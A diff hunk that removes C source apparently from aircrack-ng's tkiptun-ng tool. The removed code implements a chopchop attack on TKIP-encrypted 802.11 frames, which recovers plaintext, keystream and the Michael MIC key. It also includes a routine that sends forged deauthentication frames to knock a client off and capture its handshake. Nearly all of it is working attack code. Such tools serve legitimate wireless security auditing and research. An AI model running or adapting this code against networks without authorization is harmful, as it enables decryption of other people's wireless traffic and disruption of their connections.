-	//     opt.r_dmac[2] = rand() & 0xFF;
-	//     opt.r_dmac[3] = rand() & 0xFF;
-	//     opt.r_dmac[4] = rand() & 0xFF;
-
-	/* chop down old/known keystreambytes */
-	for (i = 0; i < opt.oldkeystreamlen; i++)
-	{
-		guess = (opt.oldkeystream[i] ^ chopped[data_end - 1]) % 256;
-
-		n = caplen - data_start;
-
-		chopped[data_end - 1] ^= guess;
-		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-		printf("\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X\n",
-			   data_end - 1,
-			   100 * (caplen - data_end) / n,
-			   chopped[data_end - 1],
-			   chopped[data_end - 1] ^ srcbuf[data_end - 1]);
-
-		data_end--;
-	}
-
-	/* let's go chopping */
-
-	memset(ticks, 0, sizeof(ticks));
-
-	nb_pkt_read = 0;
-	nb_pkt_sent = 0;
-	nb_bad_pkt = 0;
-	guess = 256;
-
-	tt = time(NULL);
-
-	//     alarm( 30 );
-	//
-	//     signal( SIGALRM, sighandler );
-
-	if (opt.port_in <= 0)
-	{
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			free(chopped);
-			return (1);
-		}
-	}
-
-	while (data_end > data_start)
-	{
-		if (alarmed)
-		{
-			printf("\n\n"
-				   "The chopchop attack appears to have failed. Possible "
-				   "reasons:\n"
-				   "\n"
-				   "    * You're trying to inject with an unsupported chipset "
-				   "(Centrino?).\n"
-				   "    * The driver source wasn't properly patched for "
-				   "injection support.\n"
-				   "    * You are too far from the AP. Get closer or reduce "
-				   "the send rate.\n"
-				   "    * Target is 802.11g only but you are using a Prism2 or "
-				   "RTL8180.\n"
-				   "    * The wireless interface isn't setup on the correct "
-				   "channel.\n");
-			if (is_deauth_mode)
-				printf("    * The AP isn't vulnerable when operating in "
-					   "non-authenticated mode.\n"
-					   "      Run aireplay-ng in authenticated mode instead "
-					   "(-h option).\n\n");
-			else
-				printf("    * The client MAC you have specified is not "
-					   "currently authenticated.\n"
-					   "      Try running another aireplay-ng to fake "
-					   "authentication (attack \"-1\").\n"
-					   "    * The AP isn't vulnerable when operating in "
-					   "authenticated mode.\n"
-					   "      Try aireplay-ng in non-authenticated mode "
-					   "instead (no -h option).\n\n");
-			free(chopped);
-			return (1);
-		}
-
-		/* wait for the next timer interrupt, or sleep */
-
-		if ((nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
-		{
-			printf("\rLooks like mic failure report was not detected."
-				   "Waiting %i seconds before trying again to avoid "
-				   "the AP shutting down.\n",
-				   opt.mic_failure_interval);
-			fflush(stdout);
-			settle = 1;
-			sleep(opt.mic_failure_interval);
-		}
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("\nread(/dev/rtc) failed");
-				free(chopped);
-				return (1);
-			}
-
-			ticks[0]++; /* ticks since we entered the while loop     */
-			ticks[1]++; /* ticks since the last status line update   */
-			ticks[2]++; /* ticks since the last frame was sent       */
-			ticks[3]++; /* ticks since started chopping current byte */
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(976);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / 976;
-			ticks[1] += f / 976;
-			ticks[2] += f / 976;
-			ticks[3] += f / 976;
-		}
-
-		/* update the status line */
-
-		if (ticks[1] > (RTC_RESOLUTION / 10))
-		{
-			ticks[1] = 0;
-			printf("\rSent %3lu packets, current guess: %02X...",
-				   nb_pkt_sent,
-				   guess);
-			fflush(stdout);
-			erase_line(0);
-		}
-
-		/*        if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
-								(int) ( caplen - ( data_end - 1 ) ) )*/
-		if (data_end < 47 && tries > 512)
-		{
-		header_rec:
-
-			printf("\n\nThe AP appears to drop packets shorter "
-				   "than %d bytes.\n",
-				   data_end);
-
-			data_end = 46;
-
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			diff = z - 24;
-
-			if ((chopped[data_end + 0] ^ srcbuf[data_end + 0]) == 0x06
-				&& (chopped[data_end + 1] ^ srcbuf[data_end + 1]) == 0x04
-				&& (chopped[data_end + 2] ^ srcbuf[data_end + 2]) == 0x00)
-			{
-				printf("Enabling standard workaround: "
-					   "ARP header re-creation.\n");
-
-				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
-				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
-				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
-				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
-				chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
-				chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
-			}
-			else
-			{
-				printf("Enabling standard workaround: "
-					   " IP header re-creation.\n");
-
-				n = caplen - (z + 16);
-
-				chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA;
-				chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA;
-				chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
-				chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
-				chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
-				chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
-				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
-				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00;
-				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (n >> 8);
-				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ (n & 0xFF);
-
-				memcpy(h80211, srcbuf, caplen);
-
-				for (i = 26 + 8; i < (int) caplen; i++)
-					h80211[i - 8] = h80211[i] ^ chopped[i];
-
-				/* sometimes the header length or the tos field vary */
-
-				for (i = 0; i < 16; i++)
-				{
-					h80211[26 + 8] = 0x40 + i;
-					chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (0x40 + i);
-
-					for (j = 0; j < 256; j++)
-					{
-						h80211[26 + 9] = j;
-						chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;
-
-						if (check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
-							goto have_crc_match;
-					}
-				}
-
-				printf("This doesn't look like an IP packet, "
-					   "try another one.\n");
-			}
-
-		have_crc_match:
-			break;
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
-		{
-			/* send one modified frame */
-
-			ticks[2] = 0;
-
-			memcpy(h80211, chopped, data_end - 1);
-
-			/* note: guess 256 is special, it tests if the  *
-			 * AP properly drops frames with an invalid ICV *
-			 * so this guess always has its bit 8 set to 0  */
-
-			if (is_deauth_mode)
-			{
-				opt.r_smac[1] |= (guess < 256);
-				opt.r_smac[5] = guess & 0xFF;
-			}
-			else
-			{
-				opt.r_dmac[1] |= (guess < 256);
-				opt.r_dmac[5] = guess & 0xFF;
-			}
-
-			//             memcpy( h80211 + 10, opt.r_smac,  6 );
-			//             memcpy( h80211 + 16, opt.r_dmac,  6 );
-
-			if (guess < 256)
-			{
-				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
-				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
-				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
-				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
-			}
-
-			errno = 0;
-
-			if (send_packet(h80211, data_end - 1) != 0)
-			{
-				free(chopped);
-				return (1);
-			}
-
-			if (errno != EAGAIN)
-			{
-				guess++;
-
-				if (guess > 256)
-					guess = 0;
-				else
-					tries++;
-
-				settle = 0;
-			}
-
-			if (tries > 768 && data_end < srclen)
-			{
-				// go back one step and validate the last chopped byte
-				tries = 0;
-
-				data_end++;
-
-				guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];
-
-				chopped[data_end - 1] ^= guess;
-				chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-				chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-				chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-				chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-				ticks[3] = 0;
-				nb_pkt_sent = 0;
-				nb_bad_pkt = 0;
-				guess = 256;
-
-				PCT;
-				printf("\nMoved one step backwards to chop the last byte "
-					   "again.\n");
-				continue;
-			}
-		}
-
-		/* watch for a response from the AP */
-
-		n = read_packet(h80211, sizeof(h80211), NULL);
-
-		if (n < 0)
-		{
-			free(chopped);
-			return (1);
-		}
-		if (n == 0) continue;
-
-		nb_pkt_read++;
-
-		/* check if it's a deauth packet */
-
-		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
-		{
-			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
-			{
-				nb_bad_pkt++;
-
-				if (nb_bad_pkt > 2)
-				{
-					printf(
-						"\n\nFailure: got several deauthentication packets "
-						"from the AP - you need to start the whole process "
-						"all over again, as the client got disconnected.\n\n");
-					free(chopped);
-					return (1);
-				}
-
-				continue;
-			}
-
-			if (h80211[4] != opt.r_smac[0]) continue;
-			if (h80211[6] != opt.r_smac[2]) continue;
-			if (h80211[7] != opt.r_smac[3]) continue;
-			if (h80211[8] != opt.r_smac[4]) continue;
-
-			//             if( ( h80211[5]     & 0xFE ) !=
-			//                 ( opt.r_smac[1] & 0xFE ) ) continue;
-
-			/*            if( ! ( h80211[5] & 1 ) )
-			{*/
-			if (data_end < 41) goto header_rec;
-
-			printf("\n\nFailure: the access point does not properly "
-				   "discard frames with an\ninvalid ICV - try running "
-				   "aireplay-ng in authenticated mode (-h) instead.\n\n");
-			free(chopped);
-			return (1);
-			//             }
-		}
-		else
-		{
-			/* check if it's a WEP data packet */
-
-			if ((h80211[0] & 0x0C) != 8) continue; // must be a data packet
-			if ((h80211[0] & 0x70) != 0) continue;
-			//             if( ( h80211[1] & 0x03 ) != 2 ) continue;
-			if ((h80211[1] & 0x40) == 0) continue;
-
-			/* get header length right */
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			/* check the extended IV (TKIP) flag */
-			if ((h80211[z + 3] & 0x20) == 0) continue;
-
-			/* check length (153)!? */
-			if (z + 127 != n)
-				continue; //(153[26+127] bytes for eapol mic failure in tkip qos
-			// frames from client to AP)
-
-			//             printf("yeah!\n");
-
-			// direction must be inverted.
-			if (((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03) continue;
-
-			// check correct macs
-			switch (h80211[1] & 3)
-			{
-				case 1:
-					if (memcmp(bssid, h80211 + 4, 6) != 0
-						&& memcmp(dmac, h80211 + 10, 6) != 0
-						&& memcmp(bssid, h80211 + 16, 6) != 0)
-						continue;
-					break;
-				case 2:
-					if (memcmp(smac, h80211 + 4, 6) != 0
-						&& memcmp(bssid, h80211 + 10, 6) != 0
-						&& memcmp(bssid, h80211 + 16, 6) != 0)
-						continue;
-					break;
-				default:
-					continue;
-					break;
-			}
-
-			/*            if( h80211[4] != opt.r_dmac[0] ) continue;
-			if( h80211[6] != opt.r_dmac[2] ) continue;
-			if( h80211[7] != opt.r_dmac[3] ) continue;
-			if( h80211[8] != opt.r_dmac[4] ) continue;
-
-			if( ( h80211[5]     & 0xFE ) !=
-				( opt.r_dmac[1] & 0xFE ) ) continue;
-
-			if( ! ( h80211[5] & 1 ) )
-			{
-				if( data_end < 41 ) goto header_rec;
-
-				printf( "\n\nFailure: the access point does not properly "
-						"discard frames with an\ninvalid ICV - try running "
-						"aireplay-ng in non-authenticated mode instead.\n\n" );
-				return( 1 );
-			}*/
-			if (nb_pkt_sent < 1) continue;
-		}
-
-		/* we have a winner */
-
-		//         guess = h80211[9];
-		tries = 0;
-		settle = 0;
-		guess = (guess - 1) % 256;
-
-		chopped[data_end - 1] ^= guess;
-		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
-		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
-		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
-		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
-
-		n = caplen - data_start;
-
-		printf("\r");
-		PCT;
-		printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
-			   "%4lu frames written in %5.0fms\n",
-			   data_end - 1,
-			   100 * (caplen - data_end) / n,
-			   chopped[data_end - 1],
-			   chopped[data_end - 1] ^ srcbuf[data_end - 1],
-			   nb_pkt_sent,
-			   ticks[3]);
-
-		if (is_deauth_mode)
-		{
-			opt.r_smac[1] = rand() & 0x3E;
-			opt.r_smac[2] = rand() & 0xFF;
-			opt.r_smac[3] = rand() & 0xFF;
-			opt.r_smac[4] = rand() & 0xFF;
-		}
-		else
-		{
-			opt.r_dmac[1] = rand() & 0xFE;
-			opt.r_dmac[2] = rand() & 0xFF;
-			opt.r_dmac[3] = rand() & 0xFF;
-			opt.r_dmac[4] = rand() & 0xFF;
-		}
-
-		ticks[3] = 0;
-		nb_pkt_sent = 0;
-		nb_bad_pkt = 0;
-		guess = 256;
-
-		data_end--;
-
-		gettimeofday(&opt.last_mic_failure, NULL);
-		PCT;
-		printf("\rSleeping for %i seconds.", opt.mic_failure_interval);
-		fflush(stdout);
-
-		if (guess_packet(srcbuf, chopped, caplen, caplen - data_end)
-			== 0) // found correct packet :)
-			break;
-
-		while (1)
-		{
-			gettimeofday(&mic_fail, NULL);
-			if ((mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000
-					+ (mic_fail.tv_usec - opt.last_mic_failure.tv_usec)
-				> opt.mic_failure_interval * 1000000)
-				break;
-			sleep(1);
-		}
-
-		alarm(0);
-	}
-
-	/* reveal the plaintext (chopped contains the prga) */
-
-	memcpy(h80211, srcbuf, caplen);
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-	diff = z - 24;
-
-	chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
-	chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
-	chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
-	chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
-	chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
-	chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
-
-	for (i = 26 + 8; i < (int) caplen; i++)
-		h80211[i - 8] = h80211[i] ^ chopped[i];
-
-	if (!check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
-	{
-		if (!tried_header_rec)
-		{
-			printf("\nWarning: ICV checksum verification FAILED! Trying "
-				   "workaround.\n");
-			tried_header_rec = 1;
-			goto header_rec;
-		}
-		else
-		{
-			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
-				   "likely invalid/useless\nTry another one.\n");
-		}
-	}
-
-	caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */
-
-	if (opt.got_ptk)
-	{
-		PCT;
-		printf("Priority: %02X:%02X\n", h80211[z - 2], h80211[z - 1]);
-		calc_tkip_mic(h80211, caplen - 8, opt.wpa_sta.ptk, mic);
-		if (memcmp(mic, h80211 + caplen - 8, 8) == 0)
-		{
-			PCT;
-			printf("Correct MIC!\n");
-		}
-		else
-		{
-			PCT;
-			printf("Incorrect MIC!\n");
-		}
-		PCT;
-		printf("Captured MIC: ");
-		for (i = 0; i < 7; i++) printf("%02X:", h80211[caplen - 8 + i]);
-		printf("%02X\n", h80211[caplen - 1]);
-		PCT;
-		printf("Calculated MIC: ");
-		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
-		printf("%02X\n", mic[7]);
-	}
-
-	calc_tkip_mic_key(h80211, caplen, mic);
-
-	h80211[1] &= 0xBF; /* remove the WEP bit, too */
-
-	if ((h80211[1] & 3) == 1)
-	{
-		PCT;
-		printf("Reversed MIC Key (ToDS): ");
-		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
-		printf("%02X\n", mic[7]);
-		memcpy(opt.ptk + 48 + 8, mic, 8);
-		opt.got_mic_tods = 1;
-		opt.chopped_to_plain = (unsigned char *) malloc(caplen);
-		memcpy(opt.chopped_to_plain, h80211, caplen);
-		opt.chopped_to_plain_len = caplen;
-		opt.chopped_to_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
-		memcpy(opt.chopped_to_prga, chopped + 26, caplen - 26 + 4 + 8);
-		opt.chopped_to_prga_len = caplen - 26 + 4 + 8;
-	}
-
-	if ((h80211[1] & 3) == 2)
-	{
-		PCT;
-		printf("Reversed MIC Key (FromDS): ");
-		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
-		printf("%02X\n", mic[7]);
-		memcpy(opt.ptk + 48, mic, 8);
-		opt.got_mic_fromds = 1;
-		opt.chopped_from_plain = (unsigned char *) malloc(caplen);
-		memcpy(opt.chopped_from_plain, h80211, caplen);
-		opt.chopped_from_plain_len = caplen;
-		opt.chopped_from_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
-		memcpy(opt.chopped_from_prga, chopped + 26, caplen - 26 + 4 + 8);
-		opt.chopped_from_prga_len = caplen - 26 + 4 + 8;
-	}
-
-	/* save the decrypted packet */
-
-	gettimeofday(&tv, NULL);
-
-	pfh_out.magic = TCPDUMP_MAGIC;
-	pfh_out.version_major = PCAP_VERSION_MAJOR;
-	pfh_out.version_minor = PCAP_VERSION_MINOR;
-	pfh_out.thiszone = 0;
-	pfh_out.sigfigs = 0;
-	pfh_out.snaplen = 65535;
-	pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-	pkh.tv_sec = tv.tv_sec;
-	pkh.tv_usec = tv.tv_usec;
-	pkh.caplen = caplen;
-	pkh.len = caplen;
-
-	lt = localtime((const time_t *) &tv.tv_sec);
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("\nSaving plaintext in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		free(chopped);
-		return (1);
-	}
-
-	n = sizeof(struct pcap_file_header);
-
-	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed\n");
-		fclose(f_cap_out);
-		free(chopped);
-		return (1);
-	}
-
-	n = sizeof(pkh);
-
-	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		fclose(f_cap_out);
-		free(chopped);
-		return (1);
-	}
-
-	n = pkh.caplen;
-
-	if (fwrite(h80211, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		fclose(f_cap_out);
-		free(chopped);
-		return (1);
-	}
-
-	fclose(f_cap_out);
-
-	/* save the RC4 stream (xor mask) */
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("Saving keystream in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		free(chopped);
-		return (1);
-	}
-
-	n = pkh.caplen + 8 - 26 - 8;
-
-	if (fwrite(chopped + 26 + 8, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed");
-		free(chopped);
-		return (1);
-	}
-
-	fclose(f_cap_out);
-
-	PCT;
-	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
-		   (long) time(NULL) - tt,
-		   (float) (pkh.caplen - 6 - 26) / (float) (time(NULL) - tt));
-
-	free(chopped);
-	return (0);
-}
-
-static int get_ip_port(char * iface, char * ip, const int ip_size)
-{
-	char * host;
-	char * ptr;
-	int port = -1;
-	struct in_addr addr;
-
-	host = strdup(iface);
-	if (!host) return -1;
-
-	ptr = strchr(host, ':');
-	if (!ptr) goto out;
-
-	*ptr++ = 0;
-
-	if (!inet_aton(host, (struct in_addr *) &addr))
-		goto out; /* XXX resolve hostname */
-
-	if (strlen(host) > 15)
-	{
-		port = -1;
-		goto out;
-	}
-	strncpy(ip, host, ip_size);
-	port = atoi(ptr);
-	if (port <= 0) port = -1;
-
-out:
-	free(host);
-	return port;
-}
-
-static int getHDSK(void)
-{
-	int i, n;
-	int aacks, sacks, caplen;
-	struct timeval tv;
-	fd_set rfds;
-
-	n = 0;
-
-	//         usleep( 180000 );
-
-	/* deauthenticate the target */
-
-	memcpy(h80211, DEAUTH_REQ, 26);
-	memcpy(h80211 + 16, opt.r_bssid, 6);
-
-	aacks = 0;
-	sacks = 0;
-	for (i = 0; i < 4; i++)
-	{
-		if (i == 0)
-		{
-			PCT;
-			printf("Sending 4 directed DeAuth. STMAC:"
-				   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-				   opt.wpa.stmac[0],
-				   opt.wpa.stmac[1],
-				   opt.wpa.stmac[2],
-				   opt.wpa.stmac[3],
-				   opt.wpa.stmac[4],
-				   opt.wpa.stmac[5],
-				   sacks,
-				   aacks);
-		}
-
-		memcpy(h80211 + 4, opt.wpa.stmac, 6);
-		memcpy(h80211 + 10, opt.r_bssid, 6);
-
-		if (send_packet(h80211, 26) < 0) return (1);
-
-		usleep(2000);
-
-		memcpy(h80211 + 4, opt.r_bssid, 6);
-		memcpy(h80211 + 10, opt.wpa.stmac, 6);
-
-		if (send_packet(h80211, 26) < 0) return (1);
-
-		usleep(100000);
-
-		while (1)
-		{
-			FD_ZERO(&rfds);
-			FD_SET(dev.fd_in, &rfds);
-
-			tv.tv_sec = 0;
-			tv.tv_usec = 1000;
-
-			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
-			{
-				if (errno == EINTR) continue;
-				perror("select failed");
-				return (1);
-			}
-
-			if (!FD_ISSET(dev.fd_in, &rfds)) break;
-
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			check_received(h80211, caplen);
-
-			if (caplen <= 0) break;
-			if (caplen != 10) continue;
-			if (h80211[0] == 0xD4)
-			{
-				if (memcmp(h80211 + 4, opt.wpa.stmac, 6) == 0)
-				{
-					aacks++;
-				}
-				if (memcmp(h80211 + 4, opt.r_bssid, 6) == 0)
-				{
-					sacks++;
-				}
-				PCT;
-				printf("Sending 4 directed DeAuth. STMAC:"
-					   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-					   opt.wpa.stmac[0],
-					   opt.wpa.stmac[1],
-					   opt.wpa.stmac[2],
-					   opt.wpa.stmac[3],
-					   opt.wpa.stmac[4],
-					   opt.wpa.stmac[5],
-					   sacks,
-					   aacks);
-			}
-		}
-	}
-	printf("\n");
-
-	return (0);
-}
-
-int main(int argc, char * argv[])
-{
-	int i, j, n, ret, got_hdsk;
-	char *s, buf[128];
-	int caplen = 0;
-	unsigned char packet1[4096];
-	unsigned char packet2[4096];
-	int packet1_len, packet2_len;
-	struct timeval mic_fail;
-
-#ifdef USE_GCRYPT
-	// Disable secure memory.
-	gcry_control(GCRYCTL_DISABLE_SECMEM, 0);
-	// Tell Libgcrypt that initialization has completed.
-	gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
-#endif
-
-	/* check the arguments */
-
-	memset(&opt, 0, sizeof(opt));
-	memset(&dev, 0, sizeof(dev));
-
-	opt.f_type = -1;
-	opt.f_subtype = -1;
-	opt.f_minlen = 80;
-	opt.f_maxlen = 80;
-	opt.f_minlen_set = 0;
-	opt.f_maxlen_set = 0;
-	opt.f_tods = -1;
-	opt.f_fromds = -1;
-	opt.f_iswep = -1;
-	opt.ringbuffer = 8;
-
-	opt.a_mode = -1;
-	opt.r_fctrl = -1;
-	opt.ghost = 0;
-	opt.npackets = -1;
-	opt.delay = 15;
-	opt.bittest = 0;
-	opt.fast = -1;
-	opt.r_smac_set = 0;
-	opt.npackets = 1;
-	opt.nodetect = 0;
-	opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL;
-
-/* XXX */
-#if 0
-#if defined(__FreeBSD__)
-    /*
-        check what is our FreeBSD version. injection works
-        only on 7-CURRENT so abort if it's a lower version.
-    */
-    if( __FreeBSD_version < 700000 )
-    {
-        fprintf( stderr, "Aireplay-ng does not work on this "
-            "release of FreeBSD.\n" );
-        exit( 1 );
-    }
-#endif
-#endif
-
-	while (1)
-	{
-		int option_index = 0;
-
-		static struct option long_options[] = {{"help", 0, 0, 'H'},
-											   {"pmk", 1, 0, 'P'},
-											   {"psk", 1, 0, 'p'},
-											   {0, 0, 0, 0}};
-
-		int option = getopt_long(argc,
-								 argv,
-								 "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
-								 long_options,
-								 &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case 0:
-
-				break;
-
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case 'd':
-
-				if (getmac(optarg, 1, opt.f_dmac) != 0)
-				{
-					printf("Invalid destination MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 's':
-
-				if (getmac(optarg, 1, opt.f_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'm':
-
-				ret = sscanf(optarg, "%d", &opt.f_minlen);
-				if (opt.f_minlen < 0 || ret != 1)
-				{
-					printf("Invalid minimum length filter. [>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.f_minlen_set = 1;
-				break;
-
-			case 'n':
-
-				ret = sscanf(optarg, "%d", &opt.f_maxlen);
-				if (opt.f_maxlen < 0 || ret != 1)
-				{
-					printf("Invalid maximum length filter. [>=0]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.f_maxlen_set = 1;
-				break;
-
-			case 't':
-
-				ret = sscanf(optarg, "%d", &opt.f_tods);
-				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
-				{
-					printf("Invalid tods filter. [0,1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'f':
-
-				ret = sscanf(optarg, "%d", &opt.f_fromds);
-				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
-				{
-					printf("Invalid fromds filter. [0,1]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'x':
-
-				ret = sscanf(optarg, "%d", &opt.r_nbpps);
-				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
-				{
-					printf("Invalid number of packets per second. [1-1024]\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'a':
-
-				if (getmac(optarg, 1, opt.r_bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (getmac(optarg, 1, opt.f_bssid) != 0)
-				{
-					printf("Invalid AP MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'c':
-
-				if (getmac(optarg, 1, opt.r_dmac) != 0)
-				{
-					printf("Invalid destination MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				break;
-
-			case 'h':
-
-				if (getmac(optarg, 1, opt.r_smac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (getmac(optarg, 1, opt.wpa.stmac) != 0)
-				{
-					printf("Invalid source MAC address.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				opt.r_smac_set = 1;
-				break;
-
-			case 'e':
-
-				memset(opt.r_essid, 0, sizeof(opt.r_essid));
-				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
-				break;
-
-			case 'j':
-
-				opt.r_fromdsinj = 1;
-				break;
-
-			case 'D':
-
-				opt.nodetect = 1;
-				break;
-
-			case 'y':
-
-				if (opt.prga != NULL)
-				{
-					printf("PRGA file already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
-				if (read_prga(&(opt.prga), optarg) != 0)
-				{
-					return (1);
-				}
-				break;
-
-			case 'i':
-
-				if (opt.s_face != NULL || opt.s_file)
-				{
-					printf("Packet source already specified.\n");
-					printf("\"%s --help\" for help.\n", argv[0]);
-					return (1);
-				}
